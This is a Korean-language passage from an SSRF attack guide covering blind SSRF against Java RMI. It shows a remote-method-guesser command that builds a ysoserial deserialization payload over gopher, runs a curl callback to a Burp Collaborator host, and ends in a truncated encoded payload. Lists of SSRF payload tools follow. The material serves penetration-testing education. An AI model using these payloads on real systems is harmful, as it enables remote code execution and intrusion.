임의의 바이트(gopher 기반)를 허용하는 블라인드 SSRF 취약점은 Java RMI 기본 구성 요소(RMI Registry, Distributed Garbage Collector, Activation System)에 대한 역직렬화 또는 코드베이스 공격을 수행하는 데 사용될 수 있습니다. 자세한 내용은 여기에서 확인할 수 있습니다. 다음 목록은 페이로드 생성의 예를 보여줍니다:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

root@kitploit:~
**도구**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Gopherus 관련 블로그 게시물](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

이 도구는 다음을 위한 Gopher 페이로드를 생성합니다:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache

<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [SSRF 사용에 관한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser*는 대부분의 일반적인 *Java RMI* 취약점에 대한 공격 작업을 지원하는 *Java RMI* 취약점 스캐너입니다. 사용 가능한 대부분의 작업은 요청된 작업에 대해 *SSRF* 페이로드를 생성하는 ``--ssrf`` 옵션을 지원합니다. ``--gopher`` 옵션과 함께 바로 사용할 수 있는 *gopher* 페이로드를 직접 생성할 수 있습니다.

<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy는 서버 측 요청 변조(SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하도록 설계된 다중 스레드 HTTP 프록시 서버입니다.

---

크레딧:

이 게시물에 기여해 주신 다음 분들께 감사드립니다:

- [@Rhynorater - 이 블로그 게시물에 많은 기여를 하셨습니다](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF canaries 개념](https://twitter.com/fransrosen)
- [@theabrahack - Jenkins Groovy를 통한 RCE](https://twitter.com/@theabrahack)
- [@qtc_de - Java RMI를 통한 RCE](https://twitter.com/qtc_de)
도구 다운로드